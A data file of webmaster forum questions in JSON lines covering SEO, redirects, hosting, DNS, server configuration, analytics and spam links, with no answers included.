{"id":"22967","title":"Why are we being twitter spammed?","text":"This is a search relating to us: https:\/\/twitter.com\/#!\/search\/realtime\/scirra We're getting a of of new accounts tweeting: `The Layers Bar - Scirra.com` Firstly this is not us doing it as we're quite proud of doing everything completely whitehat. Also this tweet doesn't make any sense, \"The Layers Bar\" seems to be referring to a manual entry of ours. They all seem to be new accounts with no followers and no prior tweets coming in like clockwork every hour. * Does anyone know why this could be happening? * Could this harm us? * It it possible to find out the source of this? I should mention I'm hesitant to report them all as spam because it could look like we are the culprits."}
{"id":"22960","title":"What payment gateways fit my website?","text":"I am building an image hosting website and users will pay for extra storage, this means that for example: each 1GB over the first 3GB, I will charge the user for some money per GB. I want to integrate in my website a payment way so that I can let the users pay through and also let me to collect these money later either getting them through ATM or to get it in my bank account. I can't user paypal because it is not working in my country Egypt. Can you advice me with a service and some tips about how users will pay and how I will get the money from."}
{"id":"866","title":"Are there any online tools that can help me find problems with my website?","text":"I can run lots of performance tools on my server, but what is with problems that are only visible from the outside? Are there any tools that can help me with this?"}
{"id":"12134","title":"Handing back-link SEO value to another site","text":"The company I work for hosts several websites - one of these is a UK brand that's been around for years, another of them is a bit newer and is basically a white-label\/affiliate site that re-skins itself - the idea being that we can go to company A or company B and say \"Hey, would you like to sell our products? Here's a free micro-site, just link to it from yours...\" Some of the people who have taken us up on this are quite large firms and and as a result this affiliate site is now out-ranking our main UK consumer brand (we think due to the high quality back links). Our top brass aren't really happy about this and are asking if there's any way we can take the value of those back links and transfer them to our main consumer brand. Now, I personally don't agree with this ethically, but I have been asked the question and I honestly don't know the answer. If it helps, the affiliate site and the main consumer brand share a CMS, so the copy is the same. Is there any way of (as my managers have started describing it) me \"juicing\" one site from the backlinks of another using meta\/canonical tags?"}
{"id":"45370","title":"301 or 302 redirect for mobile\/non-mobile pages","text":"I'm setting up redirection for mobile\/non-mobile pages. User agent is detected and redirected appropriately, but the `?mobile=1` or `?mobile=0` flag can be used to force a switch. When that flag is used, I always do a 301 redirect because the `?mobile=` links should not be indexed, just their targets. Is this a correct assumption? Additionally, there is the case of redirection by trying to visit the mobile link `\/m` with a non-mobile user agent and vice versa. In this case I want to do a 301 redirect as well (mostly because it makes the code simpler), but I think it also makes sense to me semantically; the target URL for your user agent is the correct one. A coworker is insisting that `\/m` visits by a non-mobile user agent should do a 302 redirect because the `\/m` link is valid. However, the only way to make it valid is to either visit `?mobile=1` at the same time (which would already do a 301 redirect to `\/m`) or to have something else on our website that sets the session to mobile, which is something we either rarely or never do. Google's documentation seems to indicate that it actually doesn't matter if you use 302 or 301 for mobile\/non-mobile redirection (at least if you have the `Vary: User-Agent` header and\/or `rel=\"alternate\"` link specification; we currently have neither, though). My arguments for the 301 are: * Simplifies the code a bit * Non-mobile spiders will not index the `\/m` link, so theoretically it should not show up for search results which spares non-mobile users an additional redirect when they visit the link (similar situation for mobile spiders\/users) However, he does have a point about both of the URLs being valid. Which status code would be better to use in this case?"}
{"id":"45375","title":"POST data to another form with php","text":"I want to create a form on my page to get information this is easily done and the problem. I want to 'POST' information to my own php-page, creating a new id and saving the information to my database. And then this page should redirect to the external page via 'POST' with id, price and so on. The external page is a page to pay, so the customer should get this external site and should be able to use it like a normal page(maybe target=\"_blank\"). **In Short** : 1. Customer provides information such as item to buy, purchase amount, shipping address etc. 2. Information will be saved into the database and will need to generate a new customer id. 3. Page redirects to external payment page, sending id, price, payment information via 'POST'. My problem is, how to redirect to the external page but sending custom information via 'POST'."}
{"id":"54139","title":"301 or 302 for url that changed but new page might exist in old url","text":"I have pages for usernames. e.g. `http:\/\/mydomain.com\/user\/<username>` I'm trying to handle the case a user changes his username. What kind of redirect from old username url to new username url should I do? I would want a 301 to keep link juice but am concerned about what will happen when another user uses the same old username making the url live again."}
{"id":"56669","title":"Using Schema logo markup with SVG images","text":"I've made a logo which is awesome and I've saved it in AI and SVG format. I wish to use the SVG file on the a site as the logo will appear many times all over the site and would be better than saving the logo in PNG format and having unnecessary server-side requests. Now, this works great using: <svg id=\"my-logo\" height=\"60\" width=\"60\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" > <g transform=\"scale(0.1)\"> <image x=\"0\" y=\"0\" height=\"600\" width=\"600\" xlink:href=\"my-logo.svg\" \/> <\/g> <\/svg> Now the problem arises when using Schema logo markup. Using: <svg itemscope itemtype=\"http:\/\/schema.org\/Organization\" id=\"my-logo\" height=\"60\" width=\"60\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" > <g transform=\"scale(0.1)\"> <image itemprop=\"logo\" x=\"0\" y=\"0\" height=\"600\" width=\"600\" xlink:href=\"my-logo.svg\" \/> <\/g> <\/svg> As I expected it fails w3c validation and I am greeted with the following error messages: * Attribute itemscope not allowed on element svg at this point. * Attribute itemtype not allowed on element svg at this point. * Attribute itemprop not allowed on element image at this point. Now I know that W3C validation isn't an essential thing but I'd prefer to have a solution which does satisfy both Google and W3C. I'm sure that some W3C guru will be able to point me in the right direction, I'd perfer not to use DATA URI if possible as I know that could be one solution but correct me if I'm wrong or not DATA URI's are not-cachable."}
{"id":"57503","title":"Will Google AdSense punish me for having 100% width banner ads?","text":"I'm using Google AdSense and I've read that they don't like people changing their Ad code. I'm using this code: if ( adWidth <= 625 ) google_ad_size = [\"100\", \"50\"]; \/* Banner (468 x 60) *\/ else if ( adWidth >= 626 ) google_ad_size = [\"100\", \"90\"]; document.write ( '<ins class=\"adsbygoogle\" style=\"display:inline-block;margin-top:45px;width:' + google_ad_size[0] + '%;height:' + google_ad_size[1] + 'px\" data-ad-client=\"' + google_ad_client + '\" data-ad-slot=\"' + google_ad_slot + '\"><\/ins>' ); I've added a margin-top and a width of 100%, now will Google punish me for doing that? I don't want to end up a few weeks after launch with Google banning my account."}
{"id":"44530","title":"Fake links cause crawl error in Google Webmaster Tools","text":"Google reported Crawl Errors last week on my largest site though Webmaster Tools. Here is the message: > Google detected a significant increase in the number of URLs that return a > 404 (Page Not Found) error. Investigating these errors and fixing them where > appropriate ensures that Google can successfully crawl your site's pages. The Crawl Errors list is now full of hundreds of fake links like these causing 16,519 errors so far:  Note that my site does not even have a `search.html` and is not related to any of the terms shown in the above image. Inspecting sources for one of those links, I can see this is not simply an isolated source but a concerted effort:  Each of the links has a few to a dozen sources all from different, seemingly unrelated sites. It is completely baffling as to why would someone to spending effort doing this. What are they hoping to achieve? Is this an attack? Most importantly: **Does this have a negative effect on my side?** Could it negatively impact my ranking? **If so, what to do about it?** The few linking pages I looked at are full of thousands of links to tons of sites and have no contact information and do not seem like the kind of people who would simply stop if asked nicely! According to Google Webmaster Tools, these errors have appeared in a span of 11 days. No crawl errors were being reported previously."}
{"id":"44027","title":"Domain, Hosting and DNS management on 3 seperate providers - is this possible?","text":"_**I wanted to know if its possible to do the following:_** 1. Buy Domain from GoDaddy. 2. Buy Hosting from HostGator. 3. Buy DNS Management from DNS Made Easy."}
{"id":"58615","title":"Running a Python CGI Web App off of a DVD","text":"I have run into a rather unique situation. I need to deploy a web application that uses Python CGI on a DVD. No software can be downloaded onto the computer of the user. Does anyone have any ideas for how this can be accomplished?"}
{"id":"14154","title":"I am 16 and want to learn how to develop websites (complex sites with video and members).. what language do you suggest I learn?","text":"I am trying to get into programming for web development and PHP seems like a good language to use for that. I want to make complex sites with videos and member logins like a YouTube. I didn't know whether I should learn another language before I learn PHP or if I should just start with PHP. I have been trying to learn PHP from this book and have been having a difficult time starting. I just don't know what to do with the info in the book."}
{"id":"14150","title":"Remembering CSS left, top, right, bottom","text":"When using CSS what little tricks have you done to remember (perhaps a saying?) the order of left, top, right, bottom when defining combined CSS attributes such as border, margin and padding. I'm forever forgetting and Google seems populated with crap like W3Schools."}
{"id":"59929","title":"Apache\/ISS equivalent","text":"I've always used Apache for all my web development work and I'm struggling to get my head around IIS. I've got an API that re-routes all requests to one particular file: 'api.php', how would I do the following in IIS: RewriteEngine on RewriteRule ^\/.* \/api.php My server only allows web.config files to achieve this so I have no access to IIS manager, or anything of that nature. I'm using IIS 7.5."}
{"id":"61006","title":"301 redirected an entire website 4.5 months ago; still showing up in Google search results?","text":"Consolidated two websites on December 9, 2013; a site wide page-to-page 301 redirect was implemented which redirects site A to site B Website A (the one being redirected) is: * Still showing up in Google search results (the link properly 301 redirects to the new site) * Still showing up in our site B Google Webmaster Tools (GWT) site links report as a top source of inbound links I don't know how to \"jog\" Google into recognizing that this site is gone; we do still have site B Thoughts: * Site A still has a GWT entry, deleting this might help * We could turn off the redirects... Any other suggestions\/answers? **Updates:** I disabled the redirects, used the Change of Address tool and then reactivated the 301s The index for the nonexistent site is continuing to drop at a pretty steady pace (no indication that the Change of Address tool helped or hindered) Now if only I could get them to remove mention of the \"links\" from the nonexistent site to the main site in the main site's \"Links to your site\" report Considering disabling the redirects and allowing the old site to be truly \"gone\""}
{"id":"58844","title":"Can't Make Changes via FTP on my Ubuntu Server","text":"I'm very new to server management, I literally just set this up for the first time a couple weeks ago, no idea what I'm doing. In order to allow WordPress to run updates, apparently everything needs to be owned by `www-data`, but if everything is owned by www-data, I can't FTP with the user `revxx14`. When I try, I can't make any changes (deletions, additions, updating files, nothing. I get permission denied errors across the board). Is there a way to give my user the same permissions as www-data, so that I'll be able to keep www-data the owner, but still be able to make changes via FTP? Thanks."}
{"id":"35253","title":"Moving blog posts from one Wordpress site to another - will Feedburner resend out old posts?","text":"I'm moving Wordpress blog posts from one domain to another and I wanted to know if Feedburner will resend the old blog posts out to my subscribers when the transfer is made. If so, how to I stop Feedburner from sending out the old blog posts while ensuring that Feedburner still sends out only new posts?"}
{"id":"13109","title":"How to show content for logged-in vs logged-out users?","text":"We have a set of pages with the following urls: www.mysite.com\/info\/page1.html www.mysite.com\/info\/page2.html www.mysite.com\/info\/page3.html Each has a structure as follows: ---------------------- | A | |--------------------| | | | |B | C | | | | ---------------------- | D | |--------------------| A: is the \"header\" area B: is a list of menu items which show a bunch of menus, sub-menus and the currently selected sub-menu C: is the content, shown depending on what is selected on B D: is a common footer to all Our current solution is to manage everything not as html files, but as entries in a database table and to generate the html page depending on the url sought... For example a mod_rewrite rule sends: www.mysite\/info\/page1.html to showpages.php?url=page1 and that fetches the html for C from the DB table and shows the page properly. I want to break away from this model because it is VERY slow on fetching large pages (\"C\"). My problems are two-fold: 1. The above pages need to be shown to a \"logged-in\" user, in which case the header (\"A\") is dynamically created. 2. With a view on maintainability, I DON'T want several copies of the same code (whether html or php to float around). If I simply use pure html \/ js along with iframes I shouldnt have a problem displaying pages 1 to 4. However, I dont know how to manage the scenario when the user is logged in. * * * > Can you provide more info to help us understanding the problem? Are you > using a Content Management System? no its a custom php website > Are you using frames? actually we're not using iframes in our present setup, but am not averse to doing so if its makes sense in the ideal solution > How do you do the login now? we have the login form on the \"header section\" (A) and when the user is logged in, it customizes the header. > Why is it that your current method is slower than other methods, if the > content is the same? Our current system picks up the content \"C\" from a table. Since the content is rather large, it slows the page load. I'm trying to move the html content from the db to an actual file on disk. If i just had to deal with logged-out \/ anonymous users, i would have used iframes to display (A), (B), (C) and (D). And with javascript, navigated to a different page and change contents of (C). One more perteninet fact - I currently have a php script userheader.php which generates the html for both logged-in and logged-out users (ie \"A\")."}
{"id":"33190","title":"Domain mapping \/ aliassing to subdomain","text":"We have a VPS (cpanel\/whm) for hosting several website, each site is created in subdomain * one.domain.com, two.domain.com, three.domain.com, etc. now we want to have unique domain for every subdomain * www.web-one.com -> one.domain.com, www.web-two.com -> two.domain.com, etc how to configure the domain masking\/mapping\/aliasing so when customer visit the url bar shows: * www.web-one.com\/folder\/one.html instead of one.domain.com\/folder\/one.html"}
{"id":"13100","title":"SEO: h1 with text vs. h1 with bg image and hidden text","text":"Having an h1 with \"real\" text in it is just as good for SEO as having that h1 with an image background and the same text, but set to be indented to -9999px and ltr?"}
{"id":"58222","title":"For good SEO does my company's name need to be in text on each page or can a logo suffice?","text":"If I have a website that is for example MyTerrificBrand.com, then for good SEO do I need to have the words MyTerrificBrand (the name of the company) in the header as searchable text (on the top left, styled to be large and to stand out, of course) alongside the logo, or can I have purely an image containing MyTerrificBrand plus the logo? The reason for my question is that our graphic designer styled the \"MyTerrificBrand\" in a unique way that we can't approximate through the stylesheet, so we'd prefer to use an image for MyTerrificBrand plus the logo. But SEO is more important to us than a perfectly drawn company name. Amazon.com and eBay for instance use an image on the top-left containing their names, not styled text. Is that okay for SEO?"}
{"id":"39174","title":"Same sitemap submitted for .com and .co.uk domain","text":"Not to sure why I did this. But I submitted the same sitemap for our `.co.uk` and `.com` domain. Looking to put the `.com` domain on different hosting and create a new site for international customers using `.com` domain. Should I remove all URLs in Google Webmaster Tools for the `.com` domain, guessing this won't have a negative effect on `.co.uk` stuff and add _robot.txt_ to make sure the `.com` domain is not crawled?"}
{"id":"18305","title":"What causes a website's alexa page-rank and traffic data to display highly regular sine wave patterns over a period of 30 days?","text":"At first I wondered if it was due to the traffic difference between day and night, but that turned out not to be the case, since the period of rise and drop in traffic was about a week, not overnight. The website I'm looking at is this one (it's not mine). Looks weird, right?"}
{"id":"18656","title":"Is website visited by search engines?","text":"How can I find out that my website which is actually uploaded on webhosting for about two months is visited by search engines like google, yahoo and others? Which ranking sites should I regularly check to see how my web is in according to other websites?"}
{"id":"18301","title":"Googlebot fetching lots of URLs with a \"workaround\" parameter","text":"A certain page on our website keeps generating entries like the following on our IIS6 logs: 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707368055555 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707277777777 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707347222222 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707291666666 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707263888888 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707326388888 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707437500000 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707451388888 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707340277777 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707270833333 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:35 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707381944444 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:35 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707284722222 80 - 66.249.85.65 - 200 0 0 2011-08-16 00:53:35 W3SVC943830190 10.20.101.146 GET \/abc workaround=407707201388888 80 - 66.249.85.65 - 200 0 0 Doing a reverse DNS lookup, these IP addresses making these calls seems to be a Googlebot. What does \"workaround=\" on this line mean? We always seem to be getting \"workaround=\" calls on 1 particular page only, sometimes multiple times within a few seconds like this example. What is the cause of this and how can I prevent it? This specific page does make AJAX calls via jQuery to a 3rd party service and they are reporting a spike in calls being made and I am suspecting this bot calls to be the issue."}
{"id":"65855","title":"Can I block requests that have no user agent because they cause 404 errors?","text":"Is it OK to block requests that contain no user agent? I am getting random 404 errors on URLs I have never used. These requests have no user agent. If this is the case, will it affect any of my SEO?"}
{"id":"58841","title":"What could make Google search strange URL in Google Webmaster Tools?","text":"In my Webmaster Tools console I can see that Google tries to access very strange URLs, receiving a 404. For example: http:\/\/www.example.com\/vacanze-hotel.html\/vacanze-parchi\/vacanze- sicilia-villaggi\/vacanze-offerte\/vacanze-parchi\/vacanze-toscana- villaggi\/vacanze-piemonte-villaggi\/vacanze-liguria-villaggi\/vacanze-marche- villaggi\/vacanze-emilia-romagna-villaggi\/vacanze-basilicata-villaggi\/vacanze- campania-villaggi\/ It's a very long URL indeed! and it's not listed in any _sitemap.xml_ , or linked from anywhere in my site (I suppose! it's a very big site) What could make Google search that strange URL?"}
{"id":"38021","title":"Research about best way to present multiple products on one page","text":"I am updating a webshop page. This is a fairly simple page that displays all the products that we currently sell. The page in development is visible here ( https:\/\/www.ortho.nl\/wwebshop ). Now I was curious, and since I can't find anything via google etc..(probaly don't know the right keywords) what the best way is to present multiple products on one page. Should you use borders? Should you use colours? Which colours? what kind of tweaks will direct the customers attention to the right place? Does anyone know from experience or via research(and could you point me in the right direction to find that research) what the best way to present products is so conversion\/clickthrough is optimised?"}
{"id":"17937","title":"Is it possible to create website on Drupal that works same as Airbnb?","text":"Is it possible to create website on Drupal that works something like Airbnb ? Specifications: 1. Reserving houses with online calendar and calculation of total sum of reservation. 2. Gallery of houses pictures. 3. Ability to pay with Visa\/MasterCard and etc. In other words, this website should work as simple hotel website. I'd really appreciate if you'd give some examples (hotel websites)."}
{"id":"35259","title":"CNAME cross subdomain mapping problem","text":"I have the exact same problem as this but I don't understand the solution. I have 2 different domain name(with different hosting\/provider) domain-one.com and domain-two.com which I want sub.domain-one.com to point to sub.domain- two.com using CNAME. All have been setup and propagate correctly but now when I go to sub.domain-one.com it goes to basic page of the server. If I go directly to sub.domain-two.com the page load correctly. I've tried to add the subdomain using Addon Domains on cPanel but the problem persist."}
{"id":"33901","title":"Problem with missing JSON functions on PHP 5.2.6 \/ Plesk 8.4","text":"I have a vserver running openSuse 10.3, Apache 2 and Plesk 8.4. I can update\/upgrade neither, as it is apparently not recommended to upgrade openSuse 10.3 (and an update to the EOL 10.4 does not seem to make much sense) and Plesk fails to update no matter what version I try (even fails to upgrade to 8.4.1). Still I can live with that somehow, primarily because I don’t have the time to do a fresh remote install on the vserver. What really is a problem is, that though the installed PHP is 5.2.6 it has no zip library and no json functions. The first is probably because PHP was not compiled with --enable-zip. The second is a big mystery though. As I understand it, it always comes with PHP unless its compiled with the --disable-json configure option. This is however not the case. And the json extension module is just not there. I even tried to enable it with extension=json.so with no luck either. the configure options of my PHP are (as shipped with Plesk 8.4) '..\/configure' '--prefix=\/usr' '--datadir=\/usr\/share\/php5' '--mandir=\/usr\/share\/man' '--bindir=\/usr\/bin' '--with-libdir=lib' '--includedir=\/usr\/include' '--sysconfdir=\/etc\/php5\/apache2' '--with-config-file-path=\/etc\/php5\/apache2' '--with-config-file-scan-dir=\/etc\/php5\/conf.d' '--enable-libxml' '--enable-session' '--with-mm' '--with-pcre-regex=\/usr' '--enable-xml' '--enable-simplexml' '--enable-spl' '--enable-filter' '--disable-debug' '--enable-inline-optimization' '--disable-rpath' '--disable-static' '--enable-shared' '--program-suffix=5' '--with-pic' '--with-gnu-ld' '--with-system-tzdata=\/usr\/share\/zoneinfo' '--with-apxs2=\/usr\/sbin\/apxs2' '--disable-all' '--disable-cli' As I understand it, PECL is not an option with 5.2.6. Or am I mistaken? Even if I was not, the openSuse repository only goes as far as PHP 5.2.4. The openSuse install even came without zypper, which I had to manually install. So is there a way to get ziplib and json running in PHP 5.2.6 without having to recompile the binary?"}
{"id":"3053","title":"Why are users logged out when they toggle compatibility mode in IE?","text":"On the PeoplePerHour website, If a **Internet Explorer** user toggles the compatibility mode - they get logged out of the website! What are the possible reasons for this? I was thinking perhaps the browser is clearing cookies and therefore the users session gets lost. Is this possible ( _seems unlikely!_ )? _Test environment: IE8 on Windows Vista._"}
{"id":"3051","title":"Google Analytics - tracking across sites","text":"We have two websites, A and B. A is tracked with Google Analytics. Users arrive at site A and log in to site B from there. We have teasers for content on site A on the log out page of site B. So: A -> B -> A My goal is to track how many visitors respond to the teasers on site B and visit A. I understand that after 30 minutes of inactivity a pageview starts a new visit. Am I right in assuming that if the user is done on site B **in less than 30 minutes** his original visit to A is simply continued? If so, would all traffic source info be \"carried over\"? For example, the user arrives via Google on A, logs in to B, logs off, goes to A. Would I then see Google as the traffic source when I look at the traffic sources of the landing pages on A? What would be a good way to accurately track clicks on the teasers? Tagging the links on B would be my preferred solution. We cannot install GA on B. Many thanks for your help! **UPDATE:** I decided to dig into this subject myself as I found a lot of contradictory info. Here's what I've found out so far: * The Firefox plugin Firebug (to look at request headers) and its extension Firecookie are useful tools for research on this topic. * GA's utmz cookie contains info on the referrer in its utmsr value. * During the **same** session, referral info is not overwritten by a second referral. So if the user takes the following path X -> A -> B -> A, utmsr is X upon the second arrival on A (again, same session). * Sidenote: utmsr is overwritten if the second arrival is coming from search\/organic. * When __utm.gif is requested, one of the GET variables of the request is utmr. utmr contains the page referrer, i.e. B in the path example above. * GA seems to use utmz for referral reporting and not utmr. This is based on preliminary research. However, it would also explain why you sometimes see referring sites which don't have links to the specific page you're looking at. * I'll do some more research and post it here."}
{"id":"57506","title":"Question about my public_HTML folder permissions","text":"I have a shared hosting account that uses cPanel and I think su_php. By default, the permissions for my public_HTML directory are set to 750, which allows my site and all folders\/files inside public_HTML to be viewable by anyone who visits the site. I'm assuming this is because su_php allows the server to run as my user, thus being able to process php, read files, etc, and serve them to site viewers; rendering any permissions for \"other\" unnecessary. But if I set the permissions of any folders within the public_HTML directory to 750 (instead of 755) and I try to visit a page inside that folder, the browser gives me a 403. I'm having trouble understanding why my public_HTML folder can be set to 750, but folders inside it need to be set to 755. If anyone could help me out with this, I'd really appreciate it!"}
{"id":"27468","title":"Website performance tips?","text":"I'm kind of having some troubles with the loading of my website. It sometimes loads fast, then when you refresh it, most of the time, it will just keep trying to load images. It will keep doing that for a minute or so, and none of the JavaScript will execute. I have followed most of the tips given by Yahoo, except caching, which I couldn't get working properly. Does anyone know how to do proper caching of image and JavaScript files using _htaccess_? Most of the code I found online won't work."}
{"id":"27464","title":"Extraction of whois data for country level domains( .us\/.uk etc)","text":"I'm using Domaintools.com whois api to get the whois info about domains. But they don't have data for country level domains like .us\/.au etc. Is there any place I get the whois info using some api for many country level domains?"}
{"id":"27531","title":"What is the best practice with KML files when adding geositemap?","text":"I'm not sure how to deal with KML files. Now important particularly in reference to the Google Venice update. My site basically is a guide of many company listings (sort of Yellow Pages). I want each company listing to have a geolocation associated with it. Which of the options I present below is the way to go? **OPTION 1: all locations in a single KML file with a reference to that KML file from a geositemap.xml** _MYGEOSITEMAP.xml_ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\" xmlns:geo=\"http:\/\/www.google.com\/geo\/schemas\/sitemap\/1.0\"> <url><loc>http:\/\/www.mysite.com\/locations.kml<\/loc> <geo:geo> <geo:format>kml<\/geo:format><\/geo:geo><\/url> <\/urlset> _ALLLOCATIONS.kml_ <kml xmlns=\"http:\/\/www.opengis.net\/kml\/2.2\" xmlns:atom=\"http:\/\/www.w3.org\/2005\/Atom\"> <Document> <name>MyCompany<\/name> <atom:author> <atom:name>MyCompany<\/atom:name> <\/atom:author> <atom:link href=\"http:\/\/www.mysite.com\/locations\/3454\/MyCompany\" rel=\"related\" \/> <Placemark> <name>MyCompany, Kalverstraat 26 Amsterdam 1000AG<\/name> <description><![CDATA[<address><a href=\"http:\/\/www.mysite.com\/locations\/3454\/MyCompany\">MyCompany<\/a><br \/>Address: Kalverstraat 26, Amsterdam 1000AG <br \/>Phone: 0646598787<\/address><p>hello there, I'm MyCompany<\/p>]]> <\/description><Point><coordinates>5.420686499999965,51.6298808,0<\/coordinates> <\/Point> <\/Placemark> <\/Document> <\/kml> <kml xmlns=\"http:\/\/www.opengis.net\/kml\/2.2\" xmlns:atom=\"http:\/\/www.w3.org\/2005\/Atom\"> <Document> <name>MyCompany<\/name><atom:author><atom:name>MyCompany<\/atom:name><\/atom:author><atom:link href=\"http:\/\/www.mysite.com\/locations\/22\/companyX\" rel=\"related\" \/><Placemark><name>MyCompany, Rosestreet 45 Amsterdam 1001XF <\/name><description><![CDATA[<address><a href=\"http:\/\/www.mysite.com\/locations\/22\/companyX\">companyX<\/a><br \/>Address: Rosestreet 45, Amsterdam 1001XF <br \/>Phone: 0642195493<\/address><p>some text about companyX<\/p>]]><\/description><Point><coordinates>5.520686499889632,51.6197705,0<\/coordinates><\/Point><\/Placemark> <\/Document> <\/kml> **OPTION 2: a separate KML file for each location and a reference to each KML file from a geositemap.xml** (kml files placed in a \\kmlfiles folder) _MYGEOSITEMAP.xml_ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\" xmlns:geo=\"http:\/\/www.google.com\/geo\/schemas\/sitemap\/1.0\"> <url><loc>http:\/\/www.mysite.com\/kmlfiles\/3454_MyCompany.kml<\/loc> <geo:geo> <geo:format>kml<\/geo:format><\/geo:geo><\/url> <url><loc>http:\/\/www.mysite.com\/kmlfiles\/22_companyX.kml<\/loc> <geo:geo> <geo:format>kml<\/geo:format><\/geo:geo><\/url> <\/urlset> *3454_MyCompany.kml* <kml xmlns=\"http:\/\/www.opengis.net\/kml\/2.2\" xmlns:atom=\"http:\/\/www.w3.org\/2005\/Atom\"> <Document><name>MyCompany<\/name><atom:author><atom:name>MyCompany<\/atom:name><\/atom:author><atom:link href=\"http:\/\/www.mysite.com\/locations\/3454\/MyCompany\" rel=\"related\" \/><Placemark><name>MyCompany, Kalverstraat 26 Amsterdam 1000AG<\/name><description><![CDATA[<address><a href=\"http:\/\/www.mysite.com\/locations\/3454\/MyCompany\">MyCompany<\/a><br \/>Address: Kalverstraat 26, Amsterdam 1000AG <br \/>Phone: 0646598787<\/address><p>hello there, I'm MyCompany<\/p>]]><\/description><Point><coordinates>5.420686499999965,51.6298808,0<\/coordinates><\/Point><\/Placemark> <\/Document> <\/kml> *22_companyX.kml* <kml xmlns=\"http:\/\/www.opengis.net\/kml\/2.2\" xmlns:atom=\"http:\/\/www.w3.org\/2005\/Atom\"> <Document><name>companyX<\/name><atom:author><atom:name>companyX<\/atom:name><\/atom:author><atom:link href=\"http:\/\/www.mysite.com\/locations\/22\/companyX\" rel=\"related\" \/><Placemark><name>companyX, Rosestreet 45 Amsterdam 1001XF <\/name><description><![CDATA[<address><a href=\"http:\/\/www.mysite.com\/locations\/22\/companyX\">companyX<\/a><br \/>Address: Rosestreet 45, Amsterdam 1001XF <br \/>Phone: 0642195493<\/address><p>some text about companyX<\/p>]]><\/description><Point><coordinates>5.520686499889632,51.6197705,0<\/coordinates><\/Point><\/Placemark> <\/Document> <\/kml> **OPTION 3?**"}
{"id":"27463","title":"Where can I download list of all .com domains registered in the world","text":"I just need registered .com domain names. I know this list is available at: * http:\/\/www.verisigninc.com\/en_US\/products-and-services\/domain-name-services\/grow-your-domain-name-business\/tld-zone-access\/index.xhtml ( looks like it could take 4 weeks for approval) * http:\/\/www.premiumdrops.com\/zones.html * Also I can extract domain names using domain search API at domaintools.com Is there any other source where I can find this list?"}
{"id":"67058","title":"International Targeting \"no return tags\"","text":"Google Webmaster Tools has added an International Targeting Report to show hreflang errors. There's a section that reports \"no return tags\" errors with `Originating URL` & `Alternate URL` columns.  What do I need to do to fix these errors? Is there a way to \"Mark as Fixed\" once that's done like we can for Crawl Errors?"}
{"id":"59469","title":"In NginX what means location ^~","text":"If I'm not wrong, `location = \/ {}` means \"only the \/ folder, not the files inside, not the subfolders\" `location ~ \/ {}` means \"the \/ folder, all the files inside, all the subfolders and their subfiles\" But what it means: `location ^~ \/ {}`? I found this configuration in the web, but I wasn't able to google an answer. I found it in a tutorial while I was trying to protect with htpasswd a folder and everything inside of it. However `location ~ \/` did the job, while even if `location ^~ \/` protected everything as well, it did not let the php pages to work correctly."}
{"id":"63476","title":"SEO and JavaScript since Google admits JS parsing","text":"We're planning on building a HTML snapshot creation service to provide the Google crawlers with static HTML of our JS driven single page application. Is this still necessary and\/or encouraged since Google openly admits it is parsing JS now? How should I tackle this evaluation? * Are there tools to provide data on when it's needed to provide snapshots and when google has sufficent parsing? * Is it better because it would be much faster in comparison to the JS incremental rendering?"}
{"id":"66908","title":"How to SEO optimise Ajax\/Json loaded images?","text":"I am using Galleria.io on a website to display a gallery of images. In the database, the images have a title and description to properly explain what the image is. I load the images into galleria using `dataSource` and a Json array. The gallery works fine and shows the title and description in the gallery however no keyword analyzer picks up the content of the title and description as the images are loaded at run time. What would be the best way of making the title and description available for a search engine to crawl while associating it to the appropriate images?"}
{"id":"38498","title":"My application's bounce rate jumped from 30% to 80% overnight","text":"My application is provided as a service that is embedded in other sites. I have google analytics installed on the login popup dialog which is a page of my application, which is opened from the host site (OAuth). About a week ago, I've noticed a sharp decrease in the number of new users registrations and a jump in the bounce rate (from ~30% to ~80%). **This happened without any change in the application**. I looked into technical parameters like page load time and error rates, but could not see any change in there. Any ideas what can cause this behavior?"}
{"id":"60413","title":"Is there any reason for putting humans.txt except of acknowledgement?","text":"Are there any valid reasons of putting humans.txt? The only reason I see so far is to give credit to the team who created the site, and open source libraries it is using."}
{"id":"66902","title":"SEO history of recycled domain name","text":"I have purchased a recycled domain name and I have just been told that if I use the recycled domain name (that I now own) I will inherit any penalties that the recycled domain name may have attracted in its previous life. Is there any way that I can check if there are penalties associated with the recycled domain name that I now own?"}
{"id":"28736","title":"How to make SubDirectories?","text":"I have my server on WAMP, and domain under domain.com. How do you make sub directories on your website? (as in website.com\/subdirectory) All i could get is the ugly (ipaddress)\/(random folder)\/asdf.html. I am new to website coding so explain it simply, please."}
